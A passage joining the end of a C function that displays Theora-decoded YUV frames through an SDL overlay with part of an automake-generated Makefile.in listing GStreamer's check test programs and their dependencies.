(dec->info->pic_x & ~1); h = (dec->info->pic_y + dec->info->frame_height + 1 & ~1) - (dec->info->pic_y & ~1); dec->screen = SDL_SetVideoMode (w, h, 0, SDL_SWSURFACE); if (dec->screen == NULL) goto screen_init_err; if (dec->info->pixel_fmt == TH_PF_422) dec->yuv_overlay = SDL_CreateYUVOverlay (w, h, SDL_YUY2_OVERLAY, dec->screen); else dec->yuv_overlay = SDL_CreateYUVOverlay (w, h, SDL_YV12_OVERLAY, dec->screen); if (dec->yuv_overlay == NULL) goto overlay_init_err; dec->rect.x = dec->info->pic_x; dec->rect.y = dec->info->pic_y; dec->rect.w = w; dec->rect.h = h; /*SDL_DisplayYUVOverlay (dec->yuv_overlay, &(dec->rect));*/ return 1; screen_init_err: printf ("Error initializing SDL screen: %s\n", SDL_GetError()); overlay_init_err: printf ("Error initializing SDL overlay: %s\n", SDL_GetError()); return 0; } void video_display (TheoraDec *dec, th_ycbcr_buffer yuv) { /* this function taken from example in libtheora-1.1 distribution */ int i; int y_offset, uv_offset; /* Lock SDL_yuv_overlay */ if (SDL_MUSTLOCK(dec->screen)) { if (0 > SDL_LockSurface(dec->screen)) return; } if (0 > SDL_LockYUVOverlay(dec->yuv_overlay)) return; /* let's draw the data on a SDL screen (*screen) */ /* deal with border stride */ /* reverse u and v for SDL */ /* and crop input properly, respecting the encoded frame rect */ /* problems may exist for odd frame rect for some encodings */ printf ("buffer wxh: %dx%d\n", yuv[0].width, yuv[0].height); y_offset = (dec->info->pic_x & ~1) + yuv[0].stride * (dec->info->pic_y & ~1); if (dec->info->pixel_fmt == TH_PF_422) { uv_offset = (dec->info->pic_x/2) + (yuv[1].stride) * (dec->info->pic_y); /* SDL doesn't have a planar 4:2:2 */ for (i = 0; i < dec->yuv_overlay->h; i++) { int j; char *in_y = (char *) yuv[0].data + y_offset + yuv[0].stride * i; char *out = (char *) (dec->yuv_overlay->pixels[0] + dec->yuv_overlay->pitches[0] * i); for (j = 0; j < dec->yuv_overlay->w; j++) out[j*2] = in_y[j]; char *in_u = (char *) yuv[1].data + uv_offset + yuv[1].stride*i; char *in_v = (char *) yuv[2].data + uv_offset + yuv[2].stride*i; for (j = 0; j < dec->yuv_overlay->w >> 1; j++) { out[j*4+1] = in_u[j]; out[j*4+3] = in_v[j]; } } } else { uv_offset = (dec->info->pic_x/2) + (yuv[1].stride) * (dec->info->pic_y/2); printf ("executing I420 display, y off = %d, uv off = %d\n", y_offset, uv_offset); for (i = 0; i < dec->yuv_overlay->h; i++) { memcpy (dec->yuv_overlay->pixels[0] + dec->yuv_overlay->pitches[0] * i, yuv[0].data + y_offset+yuv[0].stride * i, dec->yuv_overlay->w); } for (i = 0; i < dec->yuv_overlay->h/2; i++) { memcpy (dec->yuv_overlay->pixels[1] + dec->yuv_overlay->pitches[1] * i, yuv[2].data + uv_offset + yuv[2].stride * i, dec->yuv_overlay->w/2); memcpy (dec->yuv_overlay->pixels[2] + dec->yuv_overlay->pitches[2] * i, yuv[1].data + uv_offset+yuv[1].stride * i, dec->yuv_overlay->w/2); } printf ("strides: %d, %d, %d\n", yuv[0].stride, yuv[1].stride, yuv[2].stride); } if (SDL_MUSTLOCK(dec->screen)) SDL_UnlockSurface(dec->screen); SDL_UnlockYUVOverlay(dec->yuv_overlay); SDL_DisplayYUVOverlay(dec->yuv_overlay, &(dec->rect)); } <file_sep># Makefile.in generated by automake 1.11.1 from Makefile.am. # @configure_input@ # Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, # 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software Foundation, # Inc. # This Makefile.in is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY, to the extent permitted by law; without # even the implied warranty of MERCHANTABILITY or FITNESS FOR A # PARTICULAR PURPOSE. @SET_MAKE@ VPATH = @srcdir@ pkgdatadir = $(datadir)/@PACKAGE@ pkgincludedir = $(includedir)/@PACKAGE@ pkglibdir = $(libdir)/@PACKAGE@ pkglibexecdir = $(libexecdir)/@PACKAGE@ am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd install_sh_DATA = $(install_sh) -c -m 644 install_sh_PROGRAM = $(install_sh) -c install_sh_SCRIPT = $(install_sh) -c INSTALL_HEADER = $(INSTALL_DATA) transform = $(program_transform_name) NORMAL_INSTALL = : PRE_INSTALL = : POST_INSTALL = : NORMAL_UNINSTALL = : PRE_UNINSTALL = : POST_UNINSTALL = : build_triplet = @build@ host_triplet = @host@ DIST_COMMON = $(noinst_HEADERS) $(srcdir)/Makefile.am \ $(srcdir)/Makefile.in $(top_srcdir)/common/check.mak check_PROGRAMS = gst/gstabi$(EXEEXT) gst/gstbuffer$(EXEEXT) \ gst/gstbufferlist$(EXEEXT) gst/gstbus$(EXEEXT) \ gst/gstcaps$(EXEEXT) gst/gstinfo$(EXEEXT) \ gst/gstiterator$(EXEEXT) gst/gstmessage$(EXEEXT) \ gst/gstminiobject$(EXEEXT) gst/gstobject$(EXEEXT) \ gst/gstpad$(EXEEXT) gst/gstparamspecs$(EXEEXT) \ gst/gstpoll$(EXEEXT) gst/gstsegment$(EXEEXT) \ gst/gstsystemclock$(EXEEXT) gst/gstclock$(EXEEXT) \ gst/gststructure$(EXEEXT) gst/gsttag$(EXEEXT) \ gst/gsttagsetter$(EXEEXT) gst/gsttask$(EXEEXT) \ gst/gstvalue$(EXEEXT) generic/states$(EXEEXT) $(am__EXEEXT_1) \ $(am__EXEEXT_2) libs/libsabi$(EXEEXT) libs/gdp$(EXEEXT) \ libs/adapter$(EXEEXT) libs/bitreader$(EXEEXT) \ libs/bytereader$(EXEEXT) libs/bytewriter$(EXEEXT) \ libs/gstnetclientclock$(EXEEXT) \ libs/gstnettimeprovider$(EXEEXT) libs/transform1$(EXEEXT) noinst_PROGRAMS = gst/gstpipeline$(EXEEXT) libs/collectpads$(EXEEXT) \ elements/queue$(EXEEXT) subdir = tests/check ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 am__aclocal_m4_deps = $(top_srcdir)/common/m4/as-ac-expand.m4 \ $(top_srcdir)/common/m4/as-auto-alt.m4 \ $(top_srcdir)/common/m4/as-compiler-flag.m4 \ $(top_srcdir)/common/m4/as-docbook.m4 \ $(top_srcdir)/common/m4/as-libtool.m4 \ $(top_srcdir)/common/m4/as-python.m4 \ $(top_srcdir)/common/m4/as-scrub-include.m4 \ $(top_srcdir)/common/m4/as-version.m4 \ $(top_srcdir)/common/m4/ax_create_stdint_h.m4 \ $(top_srcdir)/common/m4/gst-arch.m4 \ $(top_srcdir)/common/m4/gst-args.m4 \ $(top_srcdir)/common/m4/gst-check.m4 \ $(top_srcdir)/common/m4/gst-doc.m4 \ $(top_srcdir)/common/m4/gst-error.m4 \ $(top_srcdir)/common/m4/gst-feature.m4 \ $(top_srcdir)/common/m4/gst-function.m4 \ $(top_srcdir)/common/m4/gst-gettext.m4 \ $(top_srcdir)/common/m4/gst-glib2.m4 \ $(top_srcdir)/common/m4/gst-libxml2.m4 \ $(top_srcdir)/common/m4/gst-parser.m4 \ $(top_srcdir)/common/m4/gst-platform.m4 \ $(top_srcdir)/common/m4/gst-plugin-docs.m4 \ $(top_srcdir)/common/m4/gst-plugindir.m4 \ $(top_srcdir)/common/m4/gst.m4 \ $(top_srcdir)/common/m4/gtk-doc.m4 \ $(top_srcdir)/common/m4/introspection.m4 \ $(top_srcdir)/common/m4/pkg.m4 \ $(top_srcdir)/m4/check-checks.m4 $(top_srcdir)/m4/gettext.m4 \ $(top_srcdir)/m4/iconv.m4 $(top_srcdir)/m4/intlmacosx.m4 \ $(top_srcdir)/m4/lib-ld.m4 $(top_srcdir)/m4/lib-link.m4 \ $(top_srcdir)/m4/lib-prefix.m4 $(top_srcdir)/m4/libtool.m4 \ $(top_srcdir)/m4/ltoptions.m4 $(top_srcdir)/m4/ltsugar.m4 \ $(top_srcdir)/m4/ltversion.m4 $(top_srcdir)/m4/lt~obsolete.m4 \ $(top_srcdir)/m4/nls.m4 $(top_srcdir)/m4/po.m4 \ $(top_srcdir)/m4/progtest.m4 $(top_srcdir)/configure.ac am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ $(ACLOCAL_M4) mkinstalldirs = $(install_sh) -d CONFIG_HEADER = $(top_builddir)/config.h CONFIG_CLEAN_FILES = CONFIG_CLEAN_VPATH_FILES = @GST_DISABLE_PARSE_FALSE@am__EXEEXT_1 = pipelines/simple-launch-lines$(EXEEXT) \ @GST_DISABLE_PARSE_FALSE@ pipelines/cleanup$(EXEEXT) \ @GST_DISABLE_PARSE_FALSE@ pipelines/parse-launch$(EXEEXT) @GST_DISABLE_PARSE_TRUE@am__EXEEXT_1 = \ @GST_DISABLE_PARSE_TRUE@ pipelines/parse-disabled$(EXEEXT) @GST_DISABLE_REGISTRY_FALSE@am__EXEEXT_2 = gst/gst$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstbin$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstchildproxy$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstelement$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstevent$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstghostpad$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstindex$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstinterface$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstplugin$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstpreset$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstquery$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstregistry$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ gst/gsturi$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ gst/gstutils$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ generic/sinks$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ elements/capsfilter$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ elements/fakesink$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ elements/fakesrc$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ elements/fdsrc$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ elements/filesink$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ elements/filesrc$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ elements/identity$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ elements/multiqueue$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ elements/tee$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ libs/basesrc$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ libs/basesink$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ libs/controller$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ libs/typefindhelper$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ pipelines/stress$(EXEEXT) \ @GST_DISABLE_REGISTRY_FALSE@ pipelines/queue-error$(EXEEXT) PROGRAMS = $(noinst_PROGRAMS) elements_capsfilter_SOURCES = elements/capsfilter.c elements_capsfilter_OBJECTS = capsfilter.$(OBJEXT) elements_capsfilter_LDADD = $(LDADD) am__DEPENDENCIES_1 = elements_capsfilter_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) AM_V_lt = $(am__v_lt_$(V)) am__v_lt_ = $(am__v_lt_$(AM_DEFAULT_VERBOSITY)) am__v_lt_0 = --silent am__dirstamp = $(am__leading_dot)dirstamp elements_fakesink_SOURCES = elements/fakesink.c elements_fakesink_OBJECTS = fakesink.$(OBJEXT) elements_fakesink_LDADD = $(LDADD) elements_fakesink_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) elements_fakesrc_SOURCES = elements/fakesrc.c elements_fakesrc_OBJECTS = fakesrc.$(OBJEXT) elements_fakesrc_LDADD = $(LDADD) elements_fakesrc_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) elements_fdsrc_SOURCES = elements/fdsrc.c elements_fdsrc_OBJECTS = elements_fdsrc-fdsrc.$(OBJEXT) elements_fdsrc_LDADD = $(LDADD) elements_fdsrc_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) elements_fdsrc_LINK = $(LIBTOOL) $(AM_V_lt) --tag=CC \ $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) --mode=link $(CCLD) \ $(elements_fdsrc_CFLAGS) $(CFLAGS) $(AM_LDFLAGS) $(LDFLAGS) -o \ $@ elements_filesink_SOURCES = elements/filesink.c elements_filesink_OBJECTS = filesink.$(OBJEXT) elements_filesink_LDADD = $(LDADD) elements_filesink_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) elements_filesrc_SOURCES = elements/filesrc.c elements_filesrc_OBJECTS = elements_filesrc-filesrc.$(OBJEXT) elements_filesrc_LDADD = $(LDADD) elements_filesrc_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) elements_filesrc_LINK = $(LIBTOOL) $(AM_V_lt) --tag=CC \ $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) --mode=link $(CCLD) \ $(elements_filesrc_CFLAGS) $(CFLAGS) $(AM_LDFLAGS) $(LDFLAGS) \ -o $@ elements_identity_SOURCES = elements/identity.c elements_identity_OBJECTS = identity.$(OBJEXT) elements_identity_LDADD = $(LDADD) elements_identity_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) elements_multiqueue_SOURCES = elements/multiqueue.c elements_multiqueue_OBJECTS = multiqueue.$(OBJEXT) elements_multiqueue_LDADD = $(LDADD) elements_multiqueue_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) elements_queue_SOURCES = elements/queue.c elements_queue_OBJECTS = queue.$(OBJEXT) elements_queue_LDADD = $(LDADD) elements_queue_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) elements_tee_SOURCES = elements/tee.c elements_tee_OBJECTS = tee.$(OBJEXT) elements_tee_LDADD = $(LDADD) elements_tee_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) generic_sinks_SOURCES = generic/sinks.c generic_sinks_OBJECTS = sinks.$(OBJEXT) generic_sinks_LDADD = $(LDADD) generic_sinks_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) generic_states_SOURCES = generic/states.c generic_states_OBJECTS = states.$(OBJEXT) generic_states_LDADD = $(LDADD) generic_states_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gst_SOURCES = gst/gst.c gst_gst_OBJECTS = gst.$(OBJEXT) gst_gst_LDADD = $(LDADD) gst_gst_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstabi_SOURCES = gst/gstabi.c gst_gstabi_OBJECTS = gstabi.$(OBJEXT) gst_gstabi_LDADD = $(LDADD) gst_gstabi_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstbin_SOURCES = gst/gstbin.c gst_gstbin_OBJECTS = gstbin.$(OBJEXT) gst_gstbin_LDADD = $(LDADD) gst_gstbin_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstbuffer_SOURCES = gst/gstbuffer.c gst_gstbuffer_OBJECTS = gstbuffer.$(OBJEXT) gst_gstbuffer_LDADD = $(LDADD) gst_gstbuffer_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstbufferlist_SOURCES = gst/gstbufferlist.c gst_gstbufferlist_OBJECTS = gstbufferlist.$(OBJEXT) gst_gstbufferlist_LDADD = $(LDADD) gst_gstbufferlist_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstbus_SOURCES = gst/gstbus.c gst_gstbus_OBJECTS = gstbus.$(OBJEXT) gst_gstbus_LDADD = $(LDADD) gst_gstbus_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstcaps_SOURCES = gst/gstcaps.c gst_gstcaps_OBJECTS = gstcaps.$(OBJEXT) gst_gstcaps_LDADD = $(LDADD) gst_gstcaps_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstchildproxy_SOURCES = gst/gstchildproxy.c gst_gstchildproxy_OBJECTS = gstchildproxy.$(OBJEXT) gst_gstchildproxy_LDADD = $(LDADD) gst_gstchildproxy_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstclock_SOURCES = gst/gstclock.c gst_gstclock_OBJECTS = gstclock.$(OBJEXT) gst_gstclock_LDADD = $(LDADD) gst_gstclock_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstelement_SOURCES = gst/gstelement.c gst_gstelement_OBJECTS = gstelement.$(OBJEXT) gst_gstelement_LDADD = $(LDADD) gst_gstelement_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstevent_SOURCES = gst/gstevent.c gst_gstevent_OBJECTS = gstevent.$(OBJEXT) gst_gstevent_LDADD = $(LDADD) gst_gstevent_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstghostpad_SOURCES = gst/gstghostpad.c gst_gstghostpad_OBJECTS = gstghostpad.$(OBJEXT) gst_gstghostpad_LDADD = $(LDADD) gst_gstghostpad_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstindex_SOURCES = gst/gstindex.c gst_gstindex_OBJECTS = gstindex.$(OBJEXT) gst_gstindex_LDADD = $(LDADD) gst_gstindex_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstinfo_SOURCES = gst/gstinfo.c gst_gstinfo_OBJECTS = gstinfo.$(OBJEXT) gst_gstinfo_LDADD = $(LDADD) gst_gstinfo_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstinterface_SOURCES = gst/gstinterface.c gst_gstinterface_OBJECTS = gstinterface.$(OBJEXT) gst_gstinterface_LDADD = $(LDADD) gst_gstinterface_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstiterator_SOURCES = gst/gstiterator.c gst_gstiterator_OBJECTS = gstiterator.$(OBJEXT) gst_gstiterator_LDADD = $(LDADD) gst_gstiterator_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstmessage_SOURCES = gst/gstmessage.c gst_gstmessage_OBJECTS = gstmessage.$(OBJEXT) gst_gstmessage_LDADD = $(LDADD) gst_gstmessage_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstminiobject_SOURCES = gst/gstminiobject.c gst_gstminiobject_OBJECTS = gstminiobject.$(OBJEXT) gst_gstminiobject_LDADD = $(LDADD) gst_gstminiobject_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstobject_SOURCES = gst/gstobject.c gst_gstobject_OBJECTS = gstobject.$(OBJEXT) gst_gstobject_LDADD = $(LDADD) gst_gstobject_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstpad_SOURCES = gst/gstpad.c gst_gstpad_OBJECTS = gstpad.$(OBJEXT) gst_gstpad_LDADD = $(LDADD) gst_gstpad_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstparamspecs_SOURCES = gst/gstparamspecs.c gst_gstparamspecs_OBJECTS = gstparamspecs.$(OBJEXT) gst_gstparamspecs_LDADD = $(LDADD) gst_gstparamspecs_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstpipeline_SOURCES = gst/gstpipeline.c gst_gstpipeline_OBJECTS = gstpipeline.$(OBJEXT) gst_gstpipeline_LDADD = $(LDADD) gst_gstpipeline_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstplugin_SOURCES = gst/gstplugin.c gst_gstplugin_OBJECTS = gstplugin.$(OBJEXT) gst_gstplugin_LDADD = $(LDADD) gst_gstplugin_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstpoll_SOURCES = gst/gstpoll.c gst_gstpoll_OBJECTS = gstpoll.$(OBJEXT) gst_gstpoll_LDADD = $(LDADD) gst_gstpoll_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstpreset_SOURCES = gst/gstpreset.c gst_gstpreset_OBJECTS = gstpreset.$(OBJEXT) gst_gstpreset_LDADD = $(LDADD) gst_gstpreset_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstquery_SOURCES = gst/gstquery.c gst_gstquery_OBJECTS = gstquery.$(OBJEXT) gst_gstquery_LDADD = $(LDADD) gst_gstquery_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstregistry_SOURCES = gst/gstregistry.c gst_gstregistry_OBJECTS = gstregistry.$(OBJEXT) gst_gstregistry_LDADD = $(LDADD) gst_gstregistry_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstsegment_SOURCES = gst/gstsegment.c gst_gstsegment_OBJECTS = gstsegment.$(OBJEXT) gst_gstsegment_LDADD = $(LDADD) gst_gstsegment_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gststructure_SOURCES = gst/gststructure.c gst_gststructure_OBJECTS = gststructure.$(OBJEXT) gst_gststructure_LDADD = $(LDADD) gst_gststructure_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstsystemclock_SOURCES = gst/gstsystemclock.c gst_gstsystemclock_OBJECTS = gstsystemclock.$(OBJEXT) gst_gstsystemclock_LDADD = $(LDADD) gst_gstsystemclock_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gsttag_SOURCES = gst/gsttag.c gst_gsttag_OBJECTS = gsttag.$(OBJEXT) gst_gsttag_LDADD = $(LDADD) gst_gsttag_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gsttagsetter_SOURCES = gst/gsttagsetter.c gst_gsttagsetter_OBJECTS = gsttagsetter.$(OBJEXT) gst_gsttagsetter_LDADD = $(LDADD) gst_gsttagsetter_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gsttask_SOURCES = gst/gsttask.c gst_gsttask_OBJECTS = gsttask.$(OBJEXT) gst_gsttask_LDADD = $(LDADD) gst_gsttask_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gsturi_SOURCES = gst/gsturi.c gst_gsturi_OBJECTS = gsturi.$(OBJEXT) gst_gsturi_LDADD = $(LDADD) gst_gsturi_DEPENDENCIES = $(top_builddir)/libs/gst/check/libgstcheck-@GST_MAJORMINOR@.la \ $(top_builddir)/libs/gst/base/libgstbase-@GST_MAJORMINOR@.la \ $(am__DEPENDENCIES_1) gst_gstutils_SOURCES = gst/gstutils.c gst_gstutils_OBJECTS = gstutils.$(OBJEXT) 